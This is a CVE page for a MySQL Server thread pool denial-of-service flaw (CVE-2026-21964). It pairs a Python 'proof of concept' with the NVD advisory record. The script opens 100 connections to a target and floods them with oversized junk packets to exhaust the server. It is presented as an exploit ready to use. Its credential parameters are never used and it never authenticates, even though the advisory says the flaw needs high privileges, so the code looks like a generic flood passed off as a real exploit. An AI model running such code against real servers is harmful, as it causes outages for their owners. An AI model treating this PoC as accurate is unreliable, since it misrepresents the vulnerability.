CVE-2026-21964

# CVE-2026-21964 PoC - MySQL Server Thread Pool DoS # This PoC demonstrates the thread pool exhaustion attack import socket import time def exploit_mysql_thread_pool(target_host, target_port, username, password): """ Exploit MySQL Server Thread Pool DoS vulnerability """ try: # Establish multiple connections to exhaust thread pool connections = [] for i in range(100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send MySQL handshake packet # Send malformed packet to trigger thread pool issue malicious_packet = b'\x00\x00\x00\x03' + b'A' * 65535 sock.send(malicious_packet) connections.append(sock) time.sleep(0.01) # Keep connections open to maintain DoS state print(f"Established {len(connections)} malicious connections") print("Thread pool exhaustion in progress...") # Wait for server hang/crash time.sleep(30) return True except Exception as e: print(f"Error: {e}") return False finally: for sock in connections: try: sock.close() except: pass # Usage # exploit_mysql_thread_pool('target_ip', 3306, 'admin_user', 'admin_password')

{"cve": {"id": "CVE-2026-21964", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:59.350", "lastModified": "2026-01-29T14:49:09.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Thread Pooling). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Server: Thread Pooling). Las versiones soportadas que están afectadas son 8.0.0-8.0.44, 8.4.0-8.4.7 y 9.0.0-9.5.0. La vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios y acceso de red a través de múltiples protocolos comprometer MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un cuelgue o un fallo (crash) frecuentemente repetible (DoS completo) de MySQL Server. Puntuación Base CVSS 3.1 4.9 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "1F5EEA23-CE0F-4E73-A0BA-4DCE0CFE5D40"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "DCF15521-E485-4CE3-8C2C-36CA8BB5CB30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "08F7C250-E6A6-4A49-982E-4DF74B79E927"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}